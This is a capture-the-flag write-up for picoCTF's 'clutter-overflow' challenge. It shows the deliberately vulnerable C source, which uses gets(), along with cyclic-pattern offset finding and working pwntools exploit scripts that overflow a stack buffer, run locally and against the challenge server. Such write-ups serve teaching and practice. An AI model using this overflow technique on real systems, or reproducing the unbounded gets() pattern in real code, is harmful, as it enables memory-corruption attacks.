Points: 150
Tags: picoMini by redpwn, Binary Exploitation
Author: NOTDEGHOST
Description:
Clutter, clutter everywhere and not a byte to use.
nc mars.picoctf.net 31890
Hints:
(None)
Challenge link: https://play.picoctf.org/practice/challenge/216
Let's start by looking at the given files. First the C source code
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
As the name of the challenge suggests this is a buffer overflow challenge.
We need to set the code
variable to 0xdeadbeef
by overflowing the unbounded gets
function.
The gets
function stores its input in a buffer (clutter
) of size 0x100
.
Helpfully enough the program will output the value of code
for us.
The chall
file is a 64-bit ELF binary
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=181b4752cc92cfa231c45fe56676612e0ded947a, not stripped
Next, we need to identify the offset on the stack to the code
variable. If we send a specific sequence of characters that is a de Bruijn sequence we can easily calculate the offset to the memory address.
Creation of such a sequence can be done with pwntools cyclic
or metasploits msf-pattern_create
.
And the lookup of the offset can then be done with cyclic
or msf-pattern_offset
.
Let's create a string that is a bit longer than 0x100
(that is decimal 256)
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ ~/python_venvs/pwntools/bin/cyclic -h
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context] [-l lookup_value | count]
Cyclic pattern creator/finder
positional arguments:
count Number of characters to print
options:
-h, --help show this help message and exit
-a alphabet, --alphabet alphabet
The alphabet to use in the cyclic pattern (defaults to all lower case letters)
-n length, --length length
Size of the unique subsequences (defaults to 4).
-c context, --context context
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'baremetal', 'cgc', 'freebsd', 'linux',
'windows', 'powerpc64', 'aarch64', 'powerpc', 'sparc64', 'mips64', 'msp430', 'alpha', 'amd64', 'riscv', 'sparc', 'thumb', 'cris', 'i386', 'ia64', 'm68k', 'mips', 's390',
'none', 'avr', 'arm', 'vax', 'little', 'big', 'be', 'eb', 'le', 'el']
-l lookup_value, -o lookup_value, --offset lookup_value, --lookup lookup_value
Do a lookup instead printing the alphabet
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ ~/python_venvs/pwntools/bin/cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ ~/python_venvs/pwntools/bin/cyclic 300 > pattern_300.txt
Then we try it out locally
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ cat pattern_300.txt| ./chall
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0x6361617263616171
code != 0xdeadbeef :(
zsh: done cat pattern_300.txt |
zsh: segmentation fault ./chall
The returned value is 0x6361617263616171
. Let's look this up
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ ~/python_venvs/pwntools/bin/cyclic -l 0x6361617263616171
264
So the offset from the beginning to the code
variable is 264
.
Let's write a small exploit in Python
#!/usr/bin/python
from pwn import *
import sys
# Use either cyclic or msf-pattern_create/msf-pattern_offset to find the correct offset
offset = 264
padding = b'A'
goal = p64(0xdeadbeef)
payload = padding*offset + goal
sys.stdout.buffer.write(payload)
Note that I used sys.stdout.buffer.write
here rather than print
.
print
will most likely UTF-8 encode your output and it won't work!
And then we try it out locally
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ ~/python_venvs/pwntools/bin/python local_exploit.py | ./chall
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
cat: flag.txt: No such file or directory
Since I don't have a flag.txt
in my local directory there is an error, but otherwise it works fine.
Let's modify the Python script to connect to the server instead
#!/usr/bin/python
from pwn import *
SERVER = 'mars.picoctf.net'
PORT = 31890
io = remote(SERVER, PORT)
# Use either cyclic or msf-pattern_create/msf-pattern_offset to find the correct offset
offset = 264
padding = b'A'
goal = p64(0xdeadbeef)
payload = padding*offset + goal
io.sendline(payload)
print(io.recvallS())
io.close()
And then we run the script to get the flag
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Binary_Exploitation/clutter-overflow]
└─$ ~/python_venvs/pwntools/bin/python remote_exploit.py
[+] Opening connection to mars.picoctf.net on port 31890: Done
[+] Receiving all data: Done (1.51KB)
[*] Closed connection to mars.picoctf.net port 31890
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{<REDACTED>}
For additional information, please see the references below.